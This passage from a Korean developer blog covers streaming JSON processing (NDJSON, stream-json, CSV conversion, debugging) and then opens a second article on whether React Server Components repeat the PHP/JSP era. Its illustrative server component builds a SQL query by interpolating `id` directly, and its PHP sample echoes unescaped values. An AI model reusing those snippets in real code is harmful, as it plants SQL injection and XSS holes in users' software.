      north: bounds.north,
      south: bounds.south,
      east: bounds.east,
      west: bounds.west,
    })}`,
  ).then((r) => r.json())

  // 마커 즉시 표시
  addMarkersToMap(visibleStores)

  // 나머지 데이터는 백그라운드에서 스트리밍
  const nearbyRegions = getNearbyRegions(center)

  for (const region of nearbyRegions) {
    await fetchNDJSON(`/api/stores/region/${region}.ndjson`, (store) => {
      if (!isInBounds(store, bounds)) {
        // 아직 화면에 안 보이면 버퍼에만 저장
        storeBuffer.push(store)
      } else {
        addMarkerToMap(store)
      }
    })
  }
}

// 지도 이동 시 버퍼에서 마커 추가
map.on('moveend', () => {
  const bounds = map.getBounds()
  const newlyVisible = storeBuffer.filter((s) => isInBounds(s, bounds))
  addMarkersToMap(newlyVisible)
})
```

**결과:**

- 초기 마커 표시: 7초 → 800ms
- 체감 로딩 시간: "지도와 마커가 동시에 나타남"
- 전체 데이터 로드: 백그라운드에서 완료

### 사례 3: 대용량 CSV를 JSON으로 변환

**문제 상황:**

- 사용자가 업로드한 1GB CSV 파일
- JSON으로 변환 후 처리 필요
- 서버 메모리 2GB 제한

**해결책:**

```javascript
const {parse} = require('csv-parse')
const {Transform} = require('stream')

app.post('/api/csv-to-json', (req, res) => {
  res.setHeader('Content-Type', 'application/x-ndjson')

  const csvParser = parse({
    columns: true,
    skip_empty_lines: true,
  })

  const toNdjson = new Transform({
    objectMode: true,
    transform(record, encoding, callback) {
      // CSV 레코드를 JSON으로 변환
      const jsonLine = JSON.stringify(record) + '\n'
      callback(null, jsonLine)
    },
  })

  req.pipe(csvParser).pipe(toNdjson).pipe(res)

  csvParser.on('error', (err) => {
    console.error('CSV 파싱 에러:', err)
    res.end()
  })
})

// 클라이언트에서 스트리밍 업로드 + 스트리밍 다운로드
async function convertCsvToJson(file, onRecord) {
  const response = await fetch('/api/csv-to-json', {
    method: 'POST',
    body: file,
    headers: {
      'Content-Type': 'text/csv',
    },
  })

  const reader = response.body.getReader()
  const decoder = new TextDecoder()
  let buffer = ''
  let count = 0

  while (true) {
    const {done, value} = await reader.read()
    if (done) break

    buffer += decoder.decode(value, {stream: true})
    const lines = buffer.split('\n')
    buffer = lines.pop()

    for (const line of lines) {
      if (line.trim()) {
        onRecord(JSON.parse(line))
        count++
      }
    }
  }

  return {totalRecords: count}
}
```

**결과:**

- 서버 메모리 사용량: 최대 50MB (스트림 버퍼만 사용)
- 1GB CSV 처리 시간: 45초
- 첫 레코드 수신: 200ms

## 각 방식의 상세 비교

| 방식               | 서버 수정 | 브라우저 | Node.js | 메모리 | CPU  | 복잡도 | 에러 복구 |
| ------------------ | --------- | -------- | ------- | ------ | ---- | ------ | --------- |
| JSON.parse()       | 불필요    | O        | O       | 높음   | 낮음 | 낮음   | 어려움    |
| NDJSON             | 필요      | O        | O       | 낮음   | 낮음 | 중간   | 쉬움      |
| stream-json        | 불필요    | X        | O       | 낮음   | 중간 | 중간   | 중간      |
| @streamparser/json | 불필요    | O        | O       | 낮음   | 중간 | 중간   | 중간      |
| Oboe.js            | 불필요    | O        | O       | 중간   | 높음 | 낮음   | 중간      |
| Web Worker         | 불필요    | O        | X       | 높음   | 낮음 | 중간   | 어려움    |

### 메모리 사용량 비교

대략적인 메모리 사용량을 비교하면 다음과 같다. (10MB JSON 배열 기준)

- **JSON.parse()**: ~30MB (원본 + 파싱 결과 + 중간 버퍼)
- **NDJSON**: ~1MB (현재 처리 중인 줄만 유지)
- **스트리밍 파서**: ~2-5MB (파서 상태 + 현재 처리 중인 노드)

### 처리 속도 비교

처리 속도는 상황에 따라 다르다.

- **작은 JSON (< 1MB)**: JSON.parse()가 가장 빠름
- **중간 크기 (1-10MB)**: 네트워크 속도에 따라 다름
- **대용량 (> 10MB)**: 스트리밍 방식이 TTFB(Time To First Byte) 관점에서 유리

첫 번째 아이템이 화면에 나타나는 시간을 기준으로 하면:

- **JSON.parse()**: 전체 응답 시간 + 파싱 시간
- **NDJSON**: 첫 줄 도착 시간 + 파싱 시간 (~밀리초)

## 실전 선택 가이드

### 서버를 수정할 수 있는 경우

NDJSON을 강력히 추천한다.

1. 구현이 단순하다
2. 각 줄이 완전한 JSON이므로 에러 복구가 쉽다
3. 연결이 끊겨도 이미 받은 데이터는 사용할 수 있다
4. 클라이언트 구현도 간단하다
5. 진행률 표시가 자연스럽다

### 기존 JSON API를 사용해야 하는 경우

환경에 따라 선택한다.

**Node.js 서버/스크립트:**

- `stream-json`이 가장 성숙하고 안정적이다
- 다양한 유틸리티(필터, 배치 등)를 제공한다
- 메모리가 제한된 환경에서 대용량 파일을 처리할 때 필수

**브라우저:**

- `@streamparser/json`을 사용한다
- 번들 크기가 작고 의존성이 없다
- WHATWG Streams와 통합 가능

### UI 블로킹만 피하면 되는 경우

Web Worker를 고려해볼 수 있다.

- 메모리 절약보다 UI 반응성이 중요할 때
- 기존 코드를 최소한으로 수정하고 싶을 때
- 스트리밍 파서의 복잡성을 피하고 싶을 때

### 정말로 필요한지 먼저 고민하기

**10MB 미만의 JSON이라면** 굳이 스트리밍이 필요 없을 수도 있다. `JSON.parse()`가 더 빠르고, 코드도 단순하다.

복잡성을 추가하기 전에 다음을 먼저 고려해보자:

1. **페이지네이션**: 한 번에 모든 데이터가 필요한가?
2. **필터링**: 서버에서 필요한 데이터만 보내줄 수 없는가?
3. **필드 선택**: GraphQL처럼 필요한 필드만 요청할 수 없는가?
4. **캐싱**: 같은 데이터를 매번 요청해야 하는가?
5. **압축**: gzip/brotli 압축을 사용하고 있는가?

솔직히 대부분의 웹 애플리케이션에서는 API 설계를 개선하는 것이 근본적인 해결책이다. 스트리밍은 정말로 대용량 데이터를 한 번에 처리해야 할 때만 고려하자.

## 주의사항과 함정

### 스트리밍 파서의 CPU 오버헤드

순수 JavaScript 파서는 네이티브 `JSON.parse()`보다 느리다. V8 엔진의 `JSON.parse()`는 C++로 구현되어 있고, 고도로 최적화되어 있다.

실제 벤치마크 결과 `stream-json`은 `JSON.parse()`보다 **약 12배 느렸다**. 다만 이 오버헤드는 네트워크 지연시간에 비하면 무시할 수준인 경우가 많다.

### 에러 처리의 복잡성

스트리밍 중간에 에러가 발생하면 이미 처리한 데이터의 롤백이 어렵다.

```javascript
// 예: 100개 중 50개를 처리한 후 에러 발생
oboe('/api/data')
  .node('items[*]', (item) => {
    insertToDB(item) // 50개가 이미 삽입됨
  })
  .fail((error) => {
    // 이미 삽입된 50개는 어떻게 할 것인가?
  })
```

트랜잭션이 필요한 경우 스트리밍 방식이 적합하지 않을 수 있다. 또는 임시 테이블에 먼저 삽입하고, 완료 후 실제 테이블로 이동하는 방식을 고려해야 한다.

### 순서 보장 문제

비동기 처리를 할 때 순서가 뒤바뀔 수 있다.

```javascript
// 잘못된 예
oboe('/api/data').node('items[*]', async (item) => {
  await processAsync(item) // 순서 보장 안됨
})
```

순서가 중요하다면 동기적으로 처리하거나, 큐를 사용해야 한다.

### 브라우저 호환성

Fetch API의 스트리밍 기능은 모든 브라우저에서 지원되지 않는다. 특히 `response.body`가 `ReadableStream`을 반환하는 기능은 IE에서 지원되지 않는다.

2024년 기준 주요 브라우저의 지원 현황:

- Chrome: 43+
- Firefox: 65+
- Safari: 10.1+
- Edge: 14+

IE 지원이 필요하다면 폴리필이나 다른 방식을 고려해야 한다.

## 디버깅과 트러블슈팅

스트리밍 JSON 처리에서 자주 발생하는 문제들과 해결 방법을 알아보자.

### 문제 1: 한글이 깨지는 경우

UTF-8에서 한글은 3바이트로 인코딩된다. 네트워크 청크가 문자 중간에서 잘리면 깨진 문자가 출력된다.

```javascript
// 잘못된 예
const decoder = new TextDecoder()
buffer += decoder.decode(value) // stream 옵션 누락

// 올바른 예
buffer += decoder.decode(value, {stream: true})
```

`stream: true` 옵션을 사용하면 디코더가 불완전한 멀티바이트 문자를 버퍼에 유지하고, 다음 청크와 함께 처리한다.

### 문제 2: 마지막 줄이 누락되는 경우

NDJSON 파일이 개행 문자로 끝나지 않으면 마지막 줄이 버퍼에 남는다.

```javascript
// 잘못된 예
while (true) {
  const {done, value} = await reader.read()
  if (done) break

  buffer += decoder.decode(value, {stream: true})
  const lines = buffer.split('\n')
  buffer = lines.pop()

  for (const line of lines) {
    onData(JSON.parse(line))
  }
}
// 루프 종료 후 buffer에 마지막 줄이 남아있음!

// 올바른 예
while (true) {
  // ... 동일
}

// 루프 종료 후 버퍼 처리
if (buffer.trim()) {
  onData(JSON.parse(buffer))
}
```

### 문제 3: 스트리밍이 동작하지 않는 경우

서버에서 응답을 버퍼링하면 클라이언트에서 스트리밍이 동작하지 않는다.

**확인 사항:**

1. **Nginx 버퍼링**: `proxy_buffering off;` 설정 확인
2. **Express compression**: `threshold` 값 확인 (작은 응답은 버퍼링됨)
3. **Transfer-Encoding**: `chunked` 헤더 확인

```javascript
// Express에서 확실한 스트리밍을 위한 설정
app.get('/api/stream', (req, res) => {
  res.setHeader('Content-Type', 'application/x-ndjson')
  res.setHeader('Cache-Control', 'no-cache')
  res.setHeader('X-Accel-Buffering', 'no') // Nginx용
  res.flushHeaders() // 헤더 즉시 전송

  // ... 데이터 전송
})
```

### 문제 4: 메모리 누수

스트리밍 중 abort 되었을 때 리소스를 정리하지 않으면 메모리 누수가 발생한다.

```javascript
async function fetchWithCleanup(url, onData, signal) {
  const response = await fetch(url, {signal})
  const reader = response.body.getReader()

  try {
    while (true) {
      const {done, value} = await reader.read()
      if (done) break
      // ... 처리
    }
  } finally {
    // 항상 reader 해제
    reader.releaseLock()
  }
}
```

### 디버깅 유틸리티

스트리밍 상태를 모니터링하는 디버그 래퍼:

```javascript
function createDebugStream(url, onData) {
  const startTime = performance.now()
  let chunkCount = 0
  let totalBytes = 0
  let itemCount = 0

  return fetchNDJSON(
    url,
    (item) => {
      itemCount++

      if (itemCount % 1000 === 0) {
        const elapsed = performance.now() - startTime
        console.log(`[Stream Debug]
        경과 시간: ${(elapsed / 1000).toFixed(2)}s
        받은 청크: ${chunkCount}
        처리된 아이템: ${itemCount}
        처리 속도: ${((itemCount / elapsed) * 1000).toFixed(0)} items/sec
      `)
      }

      onData(item)
    },
    {
      onProgress: (progress) => {
        chunkCount++
        totalBytes = progress.receivedBytes
      },
    },
  )
}
```

## 마치며

대용량 JSON 처리는 프론트엔드와 백엔드 모두의 협력이 필요한 문제다. NDJSON처럼 서버에서 스트리밍 친화적인 형식을 제공하면 클라이언트 구현이 훨씬 단순해진다.

하지만 기존 API를 수정할 수 없는 상황도 많다. 그럴 때 스트리밍 파서들이 도움이 된다. `stream-json`, `@streamparser/json` 같은 라이브러리들은 충분히 성숙하고 실전에서 검증되었다.

### 의사결정 플로차트

어떤 방식을 선택해야 할지 고민된다면 다음 플로차트를 참고하자.

```text
데이터 크기가 10MB 미만인가?
├─ Yes → JSON.parse()로 충분하다
└─ No → 서버 API를 수정할 수 있는가?
         ├─ Yes → NDJSON 사용 (가장 추천)
         └─ No → 실행 환경은?
                  ├─ Node.js → stream-json
                  ├─ 브라우저 → @streamparser/json
                  └─ UI 블로킹만 해결하면 됨 → Web Worker
```

### 핵심 정리

1. **가능하다면 NDJSON을 사용하자.** 가장 단순하고 효과적이다.
2. **기존 API를 사용해야 한다면 환경에 맞는 스트리밍 파서를 선택하자.**
3. **UI 반응성만 문제라면 Web Worker도 고려해볼 만하다.**
4. **무엇보다, 정말 필요한지 먼저 고민하자.** 대부분의 경우 API 설계 개선이 더 나은 선택이다.

## 참고

- [Faster Page Loads: How to Use NDJSON to Stream API Responses](https://www.bitovi.com/blog/faster-page-loads-how-to-use-ndjson-to-stream-api-responses)
- [Streaming Data with Fetch() and NDJSON](https://davidwalsh.name/streaming-data-fetch-ndjson)
- [stream-json - GitHub](https://github.com/uhop/stream-json)
- [@streamparser/json - npm](https://www.npmjs.com/package/@streamparser/json)
- [Why Oboe.js?](https://oboejs.com/why)
- [JSON streaming - Wikipedia](https://en.wikipedia.org/wiki/JSON_streaming)
- [can-ndjson-stream - npm](https://www.npmjs.com/package/can-ndjson-stream)

---

Source: https://yceffort.kr/2026/01/react-server-components-history-repeating.md
Title: React의 "서버로 회귀"는 역사의 반복인가?
Description: RSC가 PHP/JSP 시절로의 회귀인지, 아니면 나선형 발전일까? 아닐까? 뭘까
Date: 2026-01-04
Tags: react, javascript, web-performance

## Table of Contents

## 개요

X나 Reddit의 프론트엔드 커뮤니티를 보면 RSC를 둘러싼 논쟁이 끊이지 않는다. 그중에서도 가장 자주 등장하는 비판은 바로

> "React Server Components는 결국 PHP로 돌아가는 거 아니냐?"

서버에서 컴포넌트를 렌더링한다고? 그거 20년 전 JSP가 하던 거 아닌가? 프론트엔드가 그토록 벗어나려 했던 서버 의존성으로 다시 돌아가는 건 아닐까? 우리가 10년간 SPA를 만들면서 쌓아온 경험은 뭐가 되는 거지?

한편에서는 "역사는 반복된다"며 회의적인 시선을 보내고, 다른 한편에서는 "이건 회귀가 아니라 진화다"라고 반박한다. 솔직히 서버컴포넌트를 처음 접하는 사람들 대부분은 아마도 꽤나 혼란스러웠을 것이다. (나포함)

이 글에서는 RSC가 정말 역사의 반복인지, 아니면 발전인지 살펴본다.

여기서 잠깐, "나선형 발전"이라는 개념을 짚고 가자. 헤겔의 변증법에서 나온 개념인데, 역사는 단순히 원을 그리며 반복되는 게 아니라 **나선(spiral)처럼 한 바퀴 돌 때마다 조금씩 더 높은 곳에 도달한다**는 생각이다. 겉보기엔 같은 위치로 돌아온 것 같지만, 실제로는 이전보다 더 발전한 상태라는 것이다.

RSC가 PHP 시절로 "돌아간" 것처럼 보여도, 정말 같은 자리일까? 아니면 한 바퀴 돌아 더 높은 곳에 도달한 걸까? 이 질문에 답하기 위해 웹 개발의 역사부터 차근차근 살펴보자.

## 웹 개발 아키텍처의 변천사

RSC를 이해하려면 먼저 웹 개발이 어떻게 변해왔는지 돌아볼 필요가 있다.

### 1세대: 정적 HTML (1990년대)

웹의 초창기는 단순했다. 서버에 HTML 파일을 올려두면 브라우저가 그걸 받아서 보여줬다. 동적인 요소는 거의 없었다.

1991년 팀 버너스리가 최초의 웹사이트를 만들었을 때, 그건 그냥 하이퍼링크로 연결된 문서들이었다. "웹 애플리케이션"이라는 개념 자체가 없었다. CGI(Common Gateway Interface)가 등장하면서 Perl 스크립트로 동적 콘텐츠를 만들 수 있게 됐지만, 이건 HTML 파일과 분리된 별도의 프로그램이었다.

이 시대의 핵심 특징:

- **단순함**: 서버는 파일을 전송하는 역할만 했다
- **빠른 응답**: 처리할 로직이 없으니 응답이 빨랐다
- **확장성 제한**: 사용자별 맞춤 콘텐츠가 불가능했다

### 2세대: 서버 사이드 렌더링 - PHP, JSP, ASP (2000년대)

데이터베이스와 연동이 필요해지면서 PHP, JSP, ASP 같은 기술이 등장했다. 서버에서 데이터를 조회하고, HTML을 동적으로 생성해서 클라이언트에 내려보냈다. 이 방식이 아직도 웹의 77%를 차지하는 PHP의 전성기였다.

1995년 PHP가 등장했고, 이듬해 ASP(Active Server Pages)가, 1999년에는 JSP(JavaServer Pages)가 나왔다. "HTML 안에 코드를 넣는다"는 아이디어가 핵심이었다.

```php
<?php
// 전형적인 PHP 시절 코드
$users = $db->query("SELECT * FROM users");
foreach($users as $user) {
    echo "<li>" . $user['name'] . "</li>";
}
?>
```

이 시대에 WordPress, Drupal, Ruby on Rails, Django 같은 프레임워크들이 탄생했다. MVC(Model-View-Controller) 패턴이 표준이 됐고, 템플릿 엔진이 발전했다. 웹이 "문서"에서 "애플리케이션"으로 진화하기 시작한 시점이다.

하지만 치명적인 한계가 있었다.

- **전체 페이지 새로고침**: 사용자가 버튼 하나를 클릭해도 전체 페이지가 다시 로드되었다. 깜빡임과 함께 스크롤 위치도 초기화됐다.
- **서버 의존성**: 모든 인터랙션이 서버를 거쳐야 했다. 네트워크 지연이 곧 UX 저하였다.
- **상태 관리의 어려움**: 페이지가 바뀔 때마다 상태가 초기화되니, 세션과 쿠키에 의존해야 했다.

그래도 이 시대는 웹의 황금기였다. 단순했고, 예측 가능했고, SEO도 자연스럽게 됐다. 구글 크롤러가 HTML을 그대로 읽을 수 있었으니까.

### 3세대: SPA와 클라이언트 사이드 렌더링 (2010년대)

2005년 Gmail이 AJAX의 가능성을 보여줬고, 2006년 jQuery가 DOM 조작을 쉽게 만들었다. 하지만 진짜 혁명은 2010년대에 일어났다.

2010년 AngularJS, 2013년 React, 2014년 Vue.js가 등장하면서 패러다임이 완전히 바뀌었다. "서버는 API만 제공하고, 클라이언트에서 JavaScript로 화면을 그린다"는 SPA(Single Page Application) 시대가 열렸다.

```jsx
// SPA 시대의 전형적인 패턴
function UserList() {
  const [users, setUsers] = useState([])

  useEffect(() => {
    fetch('/api/users')
      .then((res) => res.json())
      .then(setUsers)
  }, [])

  return users.map((user) => <li key={user.id}>{user.name}</li>)
}
```

이 변화의 배경에는 몇 가지 요인이 있었다.

- **모바일 앱의 부상**: iOS와 Android 앱이 보여주는 부드러운 UX가 웹에서도 필요해졌다
- **REST API의 표준화**: 백엔드와 프론트엔드의 분리가 자연스러워졌다
- **프론트엔드 개발의 전문화**: "프론트엔드 개발자"라는 직군이 독립했다
- **npm과 빌드 도구**: Webpack, Babel 등이 복잡한 JavaScript 앱 개발을 가능하게 했다

페이지 전환이 부드러워졌고, 네이티브 앱 같은 사용자 경험을 제공할 수 있게 되었다. React의 컴포넌트 모델은 UI를 조합 가능한 단위로 쪼개는 새로운 사고방식을 가져왔다. 상태 관리, 라우팅, 폼 처리 등 모든 것을 JavaScript로 할 수 있게 됐다.

하지만 새로운 문제가 생겼다. 심각한 문제들이었다.

- **초기 로딩 지연**: 빈 HTML을 받고, JavaScript를 다운로드하고, 파싱하고, 실행하고, API를 호출하고, 다시 렌더링해야 콘텐츠가 보인다. 사용자는 몇 초간 빈 화면이나 스피너만 본다.
- **번들 크기 폭발**: moment.js(300KB), lodash(70KB), 각종 UI 라이브러리... 번들이 수 MB에 달하는 앱도 흔해졌다.
- **SEO 붕괴**: 구글봇이 JavaScript를 실행하기 시작했지만, 완벽하지 않았다. 소셜 미디어 미리보기가 제대로 작동하지 않아 온갖 트릭을 동원해야 했다.

  > 당시 흔히 사용된 트릭들: User-Agent를 감지해서 크롤러에게만 다른 HTML을 보여주는 "클로킹", Prerender.io 같은 서비스로 미리 렌더링된 페이지를 캐싱해두기, `react-helmet`이나 `react-snap`으로 빌드 타임에 메타 태그 주입하기 등이 있었다.

- **워터폴 현상**: 컴포넌트가 마운트되어야 데이터를 요청하므로, 중첩된 컴포넌트에서 순차적 네트워크 요청이 발생했다. 데이터 페칭의 악몽이었다.
- **접근성 저하**: JavaScript가 로드되기 전에는 아무것도 작동하지 않았다. 느린 네트워크 환경에서 UX가 급격히 나빠졌다.

### 3.5세대: SSR과 하이드레이션

SPA의 단점을 보완하기 위해 SSR(Server Side Rendering)이 등장했다. 2016년 Next.js가 출시됐고, Nuxt.js(Vue), Gatsby(React) 등이 뒤따랐다.

아이디어는 간단했다. 서버에서 초기 HTML을 렌더링해서 보내고, 클라이언트에서 JavaScript를 붙여(hydration) 상호작용을 가능하게 한다.

```jsx
// Next.js Pages Router의 getServerSideProps
export async function getServerSideProps() {
  const posts = await fetchPosts()
  return {props: {posts}}
}

export default function Blog({posts}) {
  return (
    <ul>
      {posts.map((post) => (
        <li key={post.id}>{post.title}</li>
      ))}
    </ul>
  )
}
```

이 접근법은 SPA의 문제를 상당 부분 해결했다.

- **빠른 초기 로딩**: 사용자가 즉시 콘텐츠를 볼 수 있다
- **SEO 해결**: 크롤러가 완성된 HTML을 읽을 수 있다
- **SPA의 장점 유지**: 하이드레이션 후에는 SPA처럼 동작한다

하지만 새로운 아이러니가 생겼다.

**하이드레이션의 비용**: 서버에서 HTML을 만들고, 같은 컴포넌트 코드를 클라이언트에서 다시 실행해서 이벤트 핸들러를 붙인다. 결국 같은 일을 두 번 하는 셈이다. 클라이언트는 여전히 전체 React 런타임과 모든 컴포넌트 코드를 다운로드해야 했다.

**불필요한 JavaScript 전송**: 상호작용이 전혀 필요 없는 정적 콘텐츠마저도 하이드레이션 대상이 되었다. 블로그 글 본문처럼 그냥 읽기만 하는 콘텐츠도 JavaScript 번들에 포함됐다.

**데이터 페칭의 제약**: `getServerSideProps`는 페이지 레벨에서만 동작했다. 컴포넌트 단위로 데이터를 페칭하려면 여전히 클라이언트에서 해야 했고, 워터폴 문제가 완전히 사라지지 않았다.

이 시점에서 개발자들은 의문을 품기 시작했다. "서버 렌더링을 하면서 왜 여전히 이렇게 많은 JavaScript를 보내야 하지?"

## React Server Components: 무엇이 다른가?

"그래서 RSC가 PHP랑 뭐가 다른데?"

핵심적인 차이가 몇 가지 있다. 하지만 그 전에, RSC가 해결하려는 근본적인 문제부터 이해할 필요가 있다.

### 두 개의 React: UI = f(data, state)

Dan Abramov는 [The Two Reacts](https://overreacted.io/the-two-reacts/)에서 React가 직면한 딜레마를 이렇게 설명한다.

**클라이언트 React** - `UI = f(state)`:

- `<Counter />`처럼 사용자 상호작용에 즉시 반응해야 하는 컴포넌트
- 상태는 사용자 기기에 있으므로, 네트워크 왕복 없이 즉각적인 응답이 필요하다

**서버 React** - `UI = f(data)`:

- `<PostPreview />`처럼 데이터베이스나 파일 시스템에 접근해야 하는 컴포넌트
- 데이터 소스 근처에서 실행되는 게 효율적이다

문제는 대부분의 앱이 **둘 다 필요**하다는 것이다. 게시글 목록(`data`)을 보여주면서 좋아요 버튼(`state`)도 있어야 한다. 기존에는 이걸 위해 API를 설계하고, 클라이언트에서 데이터를 페칭하고, 로딩 상태를 관리해야 했다.

RSC의 핵심 아이디어는 이 두 세계를 **컴포넌트 레벨에서 자연스럽게 조합**하는 것이다. 진정한 공식은 `UI = f(data, state)`다.

### 1. 컴포넌트 레벨의 서버/클라이언트 분리

PHP나 JSP는 페이지 단위로 서버에서 렌더링했다. 한 페이지 전체가 서버의 영역이었다. 반면 RSC는 **컴포넌트 단위**로 서버와 클라이언트를 선택할 수 있다.

```tsx
// 서버 컴포넌트 - 서버에서만 실행됨
async function ProductDetails({id}: {id: string}) {
  const product = await db.query(`SELECT * FROM products WHERE id = ${id}`)
  return (
    <div>
      <h1>{product.name}</h1>
      <p>{product.description}</p>
      <AddToCartButton product={product} />
    </div>
  )
}

// 클라이언트 컴포넌트 - 상호작용이 필요한 부분만
// prettier-ignore
;'use client'
function AddToCartButton({product}) {
  const [loading, setLoading] = useState(false)

  return <button onClick={() => addToCart(product)}>장바구니에 담기</button>
}
```

`ProductDetails`는 서버에서만 실행되고, 그 안의 `AddToCartButton`만 클라이언트로 전송된다. PHP 시절에는 불가능했던 세밀한 제어다.

### 2. 하이드레이션 없는 서버 컴포넌트

PHP로 만든 페이지도 JavaScript를 추가할 수 있었지만, 서버에서 만든 HTML과 클라이언트 JavaScript는 완전히 별개였다. React SSR에서의 하이드레이션처럼 "같은 컴포넌트를 서버와 클라이언트에서 두 번 실행"하는 개념 자체가 없었다.

RSC의 서버 컴포넌트는 **한 번만 실행**된다. 서버에서 렌더링되고, 그 결과만 클라이언트로 전송된다. 클라이언트에서 다시 실행되지 않으므로 하이드레이션 비용이 없다. 이게 "상호작용이 필요 없는 컴포넌트는 순수 정적 HTML로 유지되어야 한다"는 RSC의 핵심 철학이다.

### 3. 앱 상태 유지

PHP 시절에는 페이지 이동 시 모든 상태가 초기화되었다. 입력 중이던 폼 데이터, 스크롤 위치, 포커스 상태 모두 날아갔다.

RSC는 서버에서 새로운 컴포넌트를 렌더링하더라도 **클라이언트의 앱 상태를 유지**할 수 있다. React의 reconciliation이 서버에서 온 새로운 UI와 기존 클라이언트 상태를 똑똑하게 병합한다.

### 4. 동일한 언어, 통합된 모델

PHP/JSP 시절에는 서버 언어(PHP, Java)와 클라이언트 언어(JavaScript)가 달랐다. 데이터 타입도, 유틸리티 함수도, 유효성 검사 로직도 따로 작성해야 했다.

RSC는 동일한 JavaScript/TypeScript로 서버와 클라이언트 코드를 작성한다. 타입을 공유하고, 유틸리티를 재사용하고, 멘탈 모델을 통일할 수 있다.

### 5. 한 번의 라운드트립으로 모든 데이터 로딩

SPA 시대의 고질적인 문제가 있었다. 컴포넌트가 마운트되어야 데이터를 요청하므로, 중첩된 컴포넌트에서 워터폴이 발생한다.

```tsx
// SPA에서의 워터폴 문제
function PostPage({id}) {
  const [post, setPost] = useState(null)

  useEffect(() => {
    fetchPost(id).then(setPost) // 1번째 요청
  }, [id])

  if (!post) return <Loading />

  return (
    <div>
      <h1>{post.title}</h1>
      <AuthorInfo authorId={post.authorId} /> {/* 2번째 요청 (1번 완료 후) */}
      <Comments postId={id} /> {/* 3번째 요청 (1번 완료 후) */}
    </div>
  )
}
```

클라이언트 → 서버 → 클라이언트 → 서버... 왕복이 반복된다. Dan Abramov는 [One Roundtrip Per Navigation](https://overreacted.io/one-roundtrip-per-navigation/)에서 이 문제를 React 팀이 2010년대 내내 고민했다고 말한다.

RSC의 해결책은 단순하다. **서버에서 모든 데이터를 한 번에 로드**하고, 결과를 클라이언트로 보낸다.

```tsx
// RSC에서는 서버에서 병렬로 데이터 로드
async function PostPage({id}) {
  const [post, author, comments] = await Promise.all([
    getPost(id),
    getAuthor(id),
    getComments(id),
  ])

  return (
    <div>
      <h1>{post.title}</h1>
      <AuthorInfo author={author} />
      <Comments comments={comments} />
    </div>
  )
}
```

클라이언트는 서버에 한 번 요청하고, 서버가 필요한 모든 데이터를 수집해서 렌더링된 결과를 돌려준다. 네트워크 왕복 횟수가 최소화된다.

### 6. "불가능한 컴포넌트"의 가능성

Dan Abramov는 [Impossible Components](https://overreacted.io/impossible-components/)에서 RSC로만 가능한 패턴을 소개한다. 서버의 데이터와 클라이언트의 상호작용을 **하나의 컴포넌트 트리에서 자연스럽게 조합**하는 것이다.

```tsx
// 서버 컴포넌트: 마크다운 파싱 라이브러리는 서버에만 존재
async function BlogPost({slug}) {
  const content = await fs.readFile(`./posts/${slug}.md`, 'utf-8')
  const html = marked.parse(content) // marked는 번들에 포함되지 않음

  return (
    <article>
      <div dangerouslySetInnerHTML={{__html: html}} />
      <LikeButton slug={slug} /> {/* 클라이언트 컴포넌트 */}
    </article>
  )
}
```

`marked` 라이브러리(수십 KB)가 클라이언트 번들에 포함되지 않는다. 서버에서 파싱하고, 결과 HTML만 클라이언트로 전송된다. 이건 기존 SSR에서도 가능했지만, RSC는 이걸 **컴포넌트 단위로 선언적으로** 할 수 있게 해준다.

## 나선형 발전의 증거

기술 산업에서 pendulum swing(진자 운동)은 익숙한 현상이다. 중앙화와 분산화, thin client와 thick client 사이를 오가왔다. 그렇다면 RSC도 그저 서버로 돌아가는 진자의 한 순간에 불과할까?

그렇게 단순하지 않다. 각 진자의 왕복마다 우리는 새로운 지식과 경험을 통합해왔다. RSC는 다음과 같은 진화를 포함한다.

### 이전 세대의 장점 통합

| 시대    | 장점                            | RSC에서의 계승                      |
| ------- | ------------------------------- | ----------------------------------- |
| PHP/JSP | 서버에서 데이터 접근 용이       | async 컴포넌트에서 직접 DB 쿼리     |
| SPA     | 부드러운 페이지 전환, 상태 유지 | 클라이언트 컴포넌트로 상호작용 처리 |
| SSR     | 빠른 초기 로딩, SEO             | 서버 컴포넌트의 기본 렌더링         |

### 이전 세대의 단점 해결

- **PHP의 전체 페이지 새로고침** → 컴포넌트 단위 업데이트
- **SPA의 번들 크기 문제** → 서버 컴포넌트는 번들에 포함되지 않음 (40-60% 감소 가능)
- **SSR의 이중 실행 문제** → 서버 컴포넌트는 한 번만 실행

## 그래서 RSC는 정답인가?

개인적인 생각이지만, RSC가 모든 것을 해결한 은탄환은 아닌 것 같다. 오히려 새로운 문제들을 가져온 측면도 있다. 나선형 발전이라고 했지만, 그 나선이 모든 프로젝트에 적합하지는 않을 수 있다.

### 리액트는 더 이상 가장 빠른 프레임워크가 아니다

RSC를 채택한 Next.js App Router가 성능 면에서 최고인가? 그렇지 않다. [Builder.io의 프레임워크 벤치마크](https://github.com/BuilderIO/framework-benchmarks)를 보면 흥미로운 결과가 나온다.

| 프레임워크 | TTI  | FCP  | LCP  | TBT  | Lighthouse | JS 크기 |
| ---------- | ---- | ---- | ---- | ---- | ---------- | ------- |
| Qwik       | 0.6s | 0.6s | 1.5s | 0ms  | 100        | 2 KiB   |
| Astro      | 0.9s | 0.9s | 1.1s | 0ms  | -          | 15 KiB  |
| Next.js    | 1.6s | 0.6s | 1.2s | 10ms | -          | 91 KiB  |

Qwik은 2KB의 JavaScript만 전송하면서 TTI 0.6초를 달성한다. Next.js는 91KB를 전송하고도 TTI가 1.6초다. Astro는 기본적으로 JavaScript를 전송하지 않고, Qwik은 resumability로 하이드레이션 자체를 없앴다. RSC가 번들 크기를 줄인다고 하지만, 여전히 React 런타임 자체의 오버헤드가 존재한다.

"RSC 덕분에 번들이 40-60% 줄었다"는 말은 맞다. 하지만 그건 "기존 React 앱 대비"일 뿐이다. 애초에 React를 쓰지 않는 선택지와 비교하면 이야기가 달라진다.

### 러닝 커브가 험난하다

2025년 현재, React는 복잡하다. 너무 복잡하다.

```tsx
// 이건 서버에서 실행될까, 클라이언트에서 실행될까?
function MyComponent({data}) {
  const formatted = useMemo(() => formatData(data), [data])
  return <div>{formatted}</div>
}
```

정답: `useMemo`를 썼으니 클라이언트 컴포넌트다. 하지만 파일 상단에 `'use client'`가 없으면? 에러다. 부모 컴포넌트가 클라이언트 컴포넌트면? 이것도 클라이언트다. 혼란스럽다.

서버 컴포넌트와 클라이언트 컴포넌트의 경계, `'use client'`와 `'use server'` 지시자, 직렬화 가능한 props의 제약, Server Actions의 동작 방식... 새로 배워야 할 개념이 산더미다.

